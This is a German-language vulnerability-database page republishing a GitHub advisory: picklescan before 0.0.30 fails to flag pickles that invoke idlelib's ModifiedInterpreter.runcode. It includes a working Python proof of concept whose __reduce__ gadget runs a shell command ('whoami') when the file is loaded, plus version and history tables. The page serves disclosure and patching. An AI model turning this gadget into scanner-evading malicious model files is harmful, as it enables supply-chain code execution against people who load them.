Mittel

Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode

  • Veröffentlicht: 26.08.2025
  • Aktualisiert: 11.10.2026 13:19

Summary

Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

python
from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncode:
    def __reduce__(self):
        payload = "__import__('os').system('whoami')"
        fake_self = SimpleNamespace(
            locals={},
            tkconsole=SimpleNamespace(
                executing=False,
                beginexecuting=str,
                canceled=False,
                closing=False,
                showtraceback=str,
                endexecuting=str,
                stderr=None,
                text=SimpleNamespace(),
                getvar=str
            ),
            rpcclt=None,
            debugger=None,
            checklinecache=str,
            active_seq=None,
            showtraceback=str,
            canceled=False,
            closing=False
        )
        return ModifiedInterpreter.runcode, (fake_self, payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) picklescan < 0.0.30 0.0.30

Verweise

CVSS-Wert -
Schwäche (CWE)
-
Plattform
Python (PyPI)
Paket
picklescan
Veröffentlicht
26.08.2025
Aktualisiert
11.10.2026 13:19

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-3gf5-cxq9-w223 - CC BY 4.0

Schwachstellenhistorie: picklescan

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (58) im Archiv
Einträge insgesamt
58
Erste → letzte
02.2025 03.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 7
  • Hoch 25
  • Mittel 26

Veröffentlichungen pro Jahr

  1. 2025: 51
  2. 2026: 7
Schweregrad:
  1. Kritisch · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  2. Kritisch · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  3. Hoch · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  4. Hoch · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  5. Hoch ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  6. Hoch CVE-2025-71320 < 0.0.33 0.0.33
  7. Hoch · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  8. Hoch CVE-2025-71321 < 0.0.33 0.0.33
  9. Kritisch · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
  10. Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode dieser Eintrag
    Mittel CVE-2025-71340 < 0.0.30 0.0.30

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.